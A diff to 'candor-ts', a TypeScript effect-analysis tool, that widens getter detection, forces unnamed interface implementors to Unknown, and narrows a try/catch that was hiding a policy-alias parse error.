       const recvType = checker.getTypeAtLocation(node.initializer);
       for (const el of node.name.elements) {
-        if (el.dotDotDotToken) { enumerateGetters(owner, recvType); continue; } // `...rest` copies every
+        if (el.dotDotDotToken) { enumerateGetters(owner, recvType, node.initializer); continue; } // `...rest` copies every
         // remaining prop → invokes every (remaining) getter; enumerate all (the bound ones double-handle).
         const key = el.propertyName ?? el.name; // `{prop}` shorthand, or `{prop: alias}`
         const keyName = ts.isIdentifier(key) ? key.text
           : ts.isStringLiteralLike(key) ? key.text : null;
         if (keyName === null) continue; // computed key (`{[k]: v}`) — unresolvable to one property
-        const hit = accessorFromSym(recvType?.getProperty?.(keyName), "get");
-        if (hit) recordAccessorHit(owner, hit, keyName);
+        for (const sym of propertySymbolsAcrossArms(recvType, keyName))   // R259
+        for (const hit of accessorsFromSym(sym, "get"))
+          recordAccessorHit(owner, hit, keyName);
       }
     }
   }
@@ -6252,7 +8156,7 @@ function visitCalls(node) {
       iterExpr = node.expression; // {...bag} — object spread is NOT iteration (copies own enumerable
       // props, no [Symbol.iterator]); wellKnownSymbolMember finds none and edges nothing for iteration.
       // But the copy DOES invoke each source getter — enumerate them (the silent-pure object-spread hole).
-      enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression));
+      enumerateGetters(enclosing(node), checker.getTypeAtLocation(node.expression), node.expression);
     }
     else if (ts.isVariableDeclaration(node) && ts.isArrayBindingPattern(node.name) && node.initializer)
       iterExpr = node.initializer; // const [a] = bag
@@ -7243,9 +9147,22 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
   // the candor-scan `lt.count > 1` / candor-swift ownersByTail guards.
   // The union arms, normalised to [InterfaceDeclaration, implementing class NAMES]: the in-scan CHA
   // universe, plus the same relation read out of a PUBLISHED package's own typings (see below).
+  //
+  // ⟨CARDINAL SIN FIX audit, PART 87 follow-up, 2026-09-01⟩ `interfaceImpls` (since PART 87) also holds
+  // STRUCTURAL implementors — an ObjectLiteralExpression/ClassExpression/bound-ref target has no `.name`
+  // at all, so `.filter(Boolean)` drops it here. This union is fundamentally NAME-keyed (a cross-package
+  // consumer resolves `pkg#Iface.member` against a class NAME in the dependency's own source, and
+  // `localEffs` below is keyed `${className}.${member}` — an anonymous implementor's effects have no
+  // name to be looked up under even if kept in the array). Rather than silently union only the implementors
+  // that happen to have a name — which reads "pure across all impls" when a dropped, unnamed one might
+  // not be — record whether any implementor was dropped, so the emission loop below can force the SAME
+  // honest-Unknown widening it already applies when CHA_FANOUT_LIMIT is exceeded, instead of a narrower
+  // claim than the evidence supports.
   const unionArms = [];
-  for (const [ifaceDecl, implClasses] of interfaceImpls)
-    unionArms.push([ifaceDecl, implClasses.map((c) => c.name?.text).filter(Boolean)]);
+  for (const [ifaceDecl, implClasses] of interfaceImpls) {
+    const names = implClasses.map((c) => c.name?.text).filter(Boolean);
+    unionArms.push([ifaceDecl, names, names.length < implClasses.length]);
+  }
   const inScanClassesByName = new Map(); // iface NAME -> every class the in-scan arms register under it
   for (const [d, cls] of unionArms) {
     const n = d.name?.text;
@@ -7309,9 +9226,15 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
     const n = ifaceDecl.name?.text;
     if (n) ifaceNameCounts.set(n, (ifaceNameCounts.get(n) ?? 0) + 1);
   }
-  for (const [ifaceDecl, implClasses] of unionArms) {
+  for (const [ifaceDecl, implClasses, hadUnnamed] of unionArms) {
     const ifaceName = ifaceDecl.name?.text;
-    if (!ifaceName || !implClasses.length) continue;
+    // ⟨CARDINAL SIN FIX, structural-implementor gap⟩ `!implClasses.length` used to skip the arm outright
+    // — correct when there are genuinely zero implementors, but an interface implemented ONLY
+    // structurally (every implementor unnamed, `implClasses` empty, `hadUnnamed` true) would silently
+    // publish NO union entry at all, which is a purity claim (SPEC §2 rule 3) this evidence does not
+    // support. `hadUnnamed` keeps the arm alive for that case so the `broad` forcing below can widen it
+    // to Unknown instead of the arm vanishing before `broad` is ever computed.
+    if (!ifaceName || (!implClasses.length && !hadUnnamed)) continue;
     // Never guess which `I` a name means: two declarations of it, or a census that cannot prove there is
     // only one, are the same evidential position and take the same answer.
     if (ifaceNameCounts.get(ifaceName) > 1 || typings.truncated) continue;
@@ -7330,7 +9253,9 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
     // key. What silence would cost is this report's own honesty — the producer's `deny E
     // Unknown[dispatch]`, any consumer without half 1's conjuncts, and the entry that is read as data
     // rather than joined. The named tests that fail on that mutation are the producer-side three.
-    const broad = implClasses.length > CHA_FANOUT_LIMIT;
+    // `hadUnnamed` widens the same way: a structural implementor this union cannot name is exactly as
+    // unaccountable as the (CHA_FANOUT_LIMIT + 1)th named one.
+    const broad = implClasses.length > CHA_FANOUT_LIMIT || hadUnnamed;
 
     for (const member of ifaceDecl.members ?? []) {
       // Both spellings of an interface method (see the in-scan site): `run(): void` and
@@ -7745,6 +9670,37 @@ let peekAttempted = false;
 // per CLASS, so the answer is too: a class is peeked only when no file of that class went unread.
 const peekUnread = new Set();
 let peekUnattributed = false;
+// ⟨0.19⟩/⟨0.24⟩ SPEC §6.2 — THE POLICY'S REASON-CLASS VOCABULARY (`.candor/config` `unknown-alias`),
+// parsed ONCE here and read by BOTH the peek below and the §6.2 gate far below. It used to be parsed only
+// at the gate, and the peek passed a bare `{}` in its place.
+//
+// R154: `{}` is not an EMPTY alias map, it is an object with no `.has`. `parsePolicy`'s alias arm reads
+// `else if (aliases && aliases.has(cn))` — truthy, then TypeError — so the FIRST `Unknown[<token>]` whose
+// token is not `*`, `dynamic` or a built-in REASON_CLASS threw straight into the peek's catch, leaving
+// `peekPolicy` null. The peek was then never ATTEMPTED, which is strictly worse than a peek that ran and
+// found nothing: `outOfScope` and `scannedUnder` go ABSENT rather than `[]`, `excluded[].peeked` reads
+// false, and ⟨0.30⟩'s fail-closed INCOMPLETE verdict never arms. MEASURED on published 0.35.0 over one
+// excluded file performing `Fs`: `deny Fs` alone exits 2 naming the function; adding `deny Unknown[corp]`
+// beside it exits 0 `policy ✓` with no disclosure of any kind. An unrelated rule turned a red verdict
+// green — while the gate honoured that same rule correctly, so two paths disagreed about one policy.
+//
+// THE TRIGGER IS A TOKEN THE MAP IS NEEDED FOR, not an alias being defined. `Unknown[nosuchalias]` disarms
+// the peek identically; there the gate's own §6.2 refusal happens to hold the exit at 2, which is why only
+// the defined-alias spelling surfaces as a silent under-report. `Unknown[reflect]` (a built-in class)
+// never reaches the alias arm and was always fine — that pair is what isolates the arm.
+//
+// ANCHORED AT THE POLICY FILE, the same anchor the gate uses (SPEC §3.1 `99eb4e9`) — vocabulary travels
+// with the policy that uses it, and two anchors would expand one rule two ways. Memoized rather than
+// eager, so `parseUnknownAliases`'s own stderr warnings are still printed exactly once.
+let policyAliasMap = null, policyAliasErrs = null;
+const policyAliases = () => {
+  if (policyAliasMap === null) {
+    policyAliasErrs = [];
+    policyAliasMap = parseUnknownAliases(discoverConfigText(policyVocabularyAnchor(policyPath, target)),
+                                         policyAliasErrs);
+  }
+  return policyAliasMap;
+};
 if (policyPath) {
   // ⟨0.33⟩ NO LONGER GATED ON `excludedFiles.length`. A tree with a policy and NOTHING excluded used to
   // skip this whole block, so `outOfScopeFindings`/`scannedUnderRules` stayed `null` and both
@@ -7761,17 +9717,40 @@ if (policyPath) {
   // run must not fail the gate" catch — findings silently empty, gate green. The catch is right; a bug
   // hiding behind it is not, which is why the trigger below is now a POSITIVE test on the rules.
   let peekPolicy = null;
-  try {
-    const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
+  // R154 — THE CATCH COVERS THE READ ONLY. It used to wrap the parse too, and its own comment named only
+  // the read ("an unreadable policy"), which is exactly how the TypeError above sat behind it for a whole
+  // rung: the ⟨0.30⟩ note above already records a ReferenceError hiding in this same catch, and answered it
+  // by tightening the TRIGGER — which does nothing for a throw one line earlier. The ARGUMENT for
+  // narrowing, stated as the assumption it is: the gate below calls the SAME `parsePolicy` on the SAME
+  // bytes with the SAME map and no `try` at all, so on every input that reaches both, a throw here is one
+  // that would kill the run at the gate anyway — catching it only moved where it died and made one of the
+  // two places a silent green. That holds while both reach the parse, which is every run bar a policy file
+  // that becomes unreadable between these two lines.
+  //
+  // ONE MEASURED BEHAVIOUR CHANGE, and it moves the right way. `policyAliases()` runs here now, and
+  // `discoverConfigText` refuses an existing-but-unreadable `.candor/config` with `process.exit(2)`. Where
+  // the policy is filed in a tree of its OWN whose config is unreadable — the only case the target-anchored
+  // reads at :1151/:1314 do not already catch — the refusal now lands BEFORE the envelope is written
+  // instead of after. MEASURED both arms: exit 2 either way, report WRITTEN at 0.35.0 and NONE here, which
+  // is the §3.1 posture (a refusal produces no report), not a regression from it.
+  let peekText = null;
+  try { peekText = fs.readFileSync(policyPath, "utf8"); }
+  catch { /* an unreadable policy is the gate's business to refuse (exit 2), not the peek's */ }
+  if (peekText !== null) {
+    const pol = parsePolicy(peekText, policyAliases());
     // ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
     // so §3.1 binds it exactly as it binds the gate: over a policy no route will honour, `outOfScope: []`
     // claims a look taken against rules that never stood, and the `denied` set it would look for is the
     // parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
     // candor-java already withheld here; this engine, candor-rust and candor-swift did not.
-    if (!fatalPolicyErrors(pol.errors).length) {
+    // R154: the ALIAS-DEFINITION errors count under that same rule, and the gate already folds them into
+    // its own refusal (`parseErrs` below). `unknown-alias corp = reflect,nativ` keeps `corp` in the map, so
+    // `pol.errors` alone is EMPTY and the peek would have published `outOfScope`/`scannedUnder` against a
+    // policy the gate is about to refuse at exit 2 — a look taken under rules that never stood.
+    if (!fatalPolicyErrors([...policyAliasErrs, ...pol.errors]).length) {
       peekPolicy = pol;
     }
-  } catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
+  }
   // ⟨0.30⟩ THE TRIGGER IS "ARE THERE DENY RULES", not "is the flattened effect-name set non-empty". The
   // old test read the name set, and `pure` is a deny rule with an EMPTY effect list meaning "every effect
   // except Unknown" — so under the STRICTEST policy the set was empty, the peek never ran, and the tree
@@ -8270,8 +10249,13 @@ if (unlistedSeen.size > 0) {
   const top = uncoveredLedger; // ⟨0.15 staged⟩ the shared sorted ledger — same names/counts as envelope `coverage`
   const shown = top.slice(0, 8).map(([p, n]) => `${p} (${n} call${n === 1 ? "" : "s"})`).join(", ");
   const more = top.length > 8 ? ` + ${top.length - 8} more` : "";
-  console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into — `
-    + `their effects are INVISIBLE to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
+  // ⟨R137⟩ "or answers for only part of its surface": the ledger counts CALLS κ did not cover, and a
+  // package may be partly classified (a member-precise rule) and still owe an answer for the rest.
+  // Saying only "doesn't cover this package" would be the same package-granular overstatement that
+  // switched the ledger off in the first place, in the opposite direction.
+  console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into `
+    + `(or answers for only part of ${top.length === 1 ? "its" : "their"} surface) — the calls below are INVISIBLE `
+    + `to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
   // SCAN-COMPLETENESS NUDGE. A scan that sees the app but none of its dependencies leaves those
   // dependencies' effects INVISIBLE (the ledger above) — a MISSING INPUT, not a precision defect, and the
   // two read identically in the report. Measured on the JVM engine against a real 18.7k-fn webapp: scanned
@@ -8313,8 +10297,8 @@ if (!wantJson) {
   // classifier does not cover (already enumerated above) beats a tsconfig guess, and a tsconfig this run
   // READ rules the tsconfig guess out entirely.
   const unresolvedCause = unlistedSeen.size > 0
-    ? `the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named above are not `
-      + `covered by the classifier, so calls into them resolve to Unknown`
+    ? `the calls into the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named `
+      + `above are not covered by the classifier, so they resolve to Unknown`
     : (usedTsconfig
         ? `this scan read ${path.relative(rootDir, usedTsconfig) || path.basename(usedTsconfig)}, so the `
           + `cause is unresolvable imports rather than a missing tsconfig`
@@ -8554,8 +10538,12 @@ if (policyPath !== null) {
     // with the policy filed outside the scan target the two expanded the SAME rule differently and §3.1's
     // byte-equality MUST was breakable by a file that is neither the report nor the policy. `net-partner`
     // (above, at the target) is deliberately NOT moved: it describes the thing being scanned.
-    const parseErrs = [];
-    const unknownAliases = parseUnknownAliases(discoverConfigText(policyVocabularyAnchor(policyPath, target)), parseErrs);
+    // R154 — THE SAME MAP THE PEEK USED, not a second parse of the same file. The peek passed `{}` and this
+    // route passed the real vocabulary, so one `Unknown[<alias>]` line meant two different things to two
+    // paths reading one policy: the gate honoured it, the peek threw on it. `policyAliases()` is memoized
+    // above, so the alias parser's own stderr warnings are still printed exactly once per run.
+    const unknownAliases = policyAliases();
+    const parseErrs = [...policyAliasErrs];
     const gatePolicy = parsePolicy(text, unknownAliases);
     parseErrs.push(...gatePolicy.errors);
     // ⟨0.28⟩ SPEC §6.2 — the LINES THE PARSE DROPPED, for the verdict document below. Non-fatal by